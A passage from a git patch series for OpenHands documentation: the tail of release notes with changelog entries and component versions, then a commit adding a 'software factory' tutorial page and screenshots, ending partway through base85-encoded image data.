https://github.com/OpenHands/enterprise/pull/574 + +#### Software Agent SDK + +* docs(agent): add docstrings for image helper functions by @BORAN002 in https://github.com/OpenHands/software-agent-sdk/pull/4656 +* docs: clarify scope for new AI providers by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5313 +* chore(ci): fix inaccurate timings and wording in stale workflow by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4298 +* chore(openapi): exempt extensible tool metadata by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5286 +* refactor(sdk): centralize LLM call context by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4159 +* docs: refresh AGENTS.md guidance by @all-hands-bot in https://github.com/OpenHands/software-agent-sdk/pull/5040 +* fix(ci): poll npm registry for typescript-client integrity in OpenHands bump by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5331 +* test(agent-server): cover budget denial after managed-key refresh by @ak684 in https://github.com/OpenHands/software-agent-sdk/pull/5378 + +#### OpenHands Cloud (Helm Chart) + +* fix(e2e): log in new user by email for email-as-username realm by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1319 +* fix(ci): read the pinned e2e test revision with the read-only Argo token by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1323 +* fix(e2e): report one ReportPortal row per test, not every browser action by @openhands-agent in https://github.com/OpenHands/OpenHands-Cloud/pull/1329 +* fix(e2e): stop scheduling single-role specs for the other user role by @openhands-agent in https://github.com/OpenHands/OpenHands-Cloud/pull/1335 +* docs(troubleshoot): align sandbox-cap comment and label two follow-up SQL surprises by @jpshackelford in https://github.com/OpenHands/OpenHands-Cloud/pull/1317 + +## Component Versions + +| Component | Version | +|-----------|---------| +| enterprise-server | 1.68.1 | +| agent-server | 1.50.1-python | +| agent-canvas | 1.24.0 | +| automation | 1.15.1 | +| runtime-api | 0.10.0 | + +## Full Changelog + +- [Enterprise Server releases](https://github.com/OpenHands/enterprise/releases) +- [Software Agent SDK releases](https://github.com/OpenHands/software-agent-sdk/releases) +- [Runtime API releases](https://github.com/OpenHands/runtime-api/releases) +- [Automation releases](https://github.com/OpenHands/automation/releases) +- [OpenHands Cloud releases](https://github.com/OpenHands/OpenHands-Cloud/releases) From ee6033f9f8d8251d50f913d0929521f68923d6a3 Mon Sep 17 00:00:00 2001 From: Graham Neubig Date: Mon, 5 Oct 2026 17:16:49 -0400 Subject: [PATCH 48/97] docs: set up a software factory through Agent Canvas (#797) * docs: show software factory setup through Agent Canvas UI Co-authored-by: openhands * docs: include the activated factory in the UI recording Co-authored-by: openhands * docs: hold the final active dashboard frame in the recording Co-authored-by: openhands * docs: align tutorial with live factory Co-authored-by: openhands * docs: sync software factory guide text Co-authored-by: openhands * docs: align factory guide with current UI flow Co-authored-by: openhands * docs: include read access for private triage Co-authored-by: openhands * docs: show completed factory run Co-authored-by: openhands * docs: sync completed factory evidence Co-authored-by: openhands * docs: address software factory review feedback Co-authored-by: openhands --------- Co-authored-by: openhands --- docs.json | 1 + .../img/software-factory/automations.png | Bin 0 -> 116098 bytes .../static/img/software-factory/completed.png | Bin 0 -> 151566 bytes .../static/img/software-factory/developer.png | Bin 0 -> 67702 bytes .../static/img/software-factory/model.png | Bin 0 -> 40014 bytes .../static/img/software-factory/profile.png | Bin 0 -> 151217 bytes .../static/img/software-factory/profiles.png | Bin 0 -> 106680 bytes .../static/img/software-factory/reviewer.png | Bin 0 -> 65048 bytes .../static/img/software-factory/secrets.png | Bin 0 -> 96757 bytes .../static/img/software-factory/setup.gif | Bin 0 -> 3118709 bytes .../static/img/software-factory/triage.png | Bin 0 -> 59298 bytes .../static/img/software-factory/watchdog.png | Bin 0 -> 60847 bytes openhands/usage/use-cases/overview.mdx | 7 ++ .../usage/use-cases/software-factory.mdx | 94 ++++++++++++++++++ 14 files changed, 102 insertions(+) create mode 100644 openhands/static/img/software-factory/automations.png create mode 100644 openhands/static/img/software-factory/completed.png create mode 100644 openhands/static/img/software-factory/developer.png create mode 100644 openhands/static/img/software-factory/model.png create mode 100644 openhands/static/img/software-factory/profile.png create mode 100644 openhands/static/img/software-factory/profiles.png create mode 100644 openhands/static/img/software-factory/reviewer.png create mode 100644 openhands/static/img/software-factory/secrets.png create mode 100644 openhands/static/img/software-factory/setup.gif create mode 100644 openhands/static/img/software-factory/triage.png create mode 100644 openhands/static/img/software-factory/watchdog.png create mode 100644 openhands/usage/use-cases/software-factory.mdx diff --git a/docs.json b/docs.json index 4d16a4dd0..1a0f2a7b8 100644 --- a/docs.json +++ b/docs.json @@ -53,6 +53,7 @@ "openhands/usage/use-cases/cobol-modernization", "openhands/usage/use-cases/dependency-upgrades", "openhands/usage/use-cases/daily-workflow", + "openhands/usage/use-cases/software-factory", "openhands/usage/use-cases/spark-migrations" ] }, diff --git a/openhands/static/img/software-factory/automations.png b/openhands/static/img/software-factory/automations.png new file mode 100644 index 0000000000000000000000000000000000000000..7a21e436de8f48403f9a1057b94e54148b845c7c GIT binary patch literal 116098 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 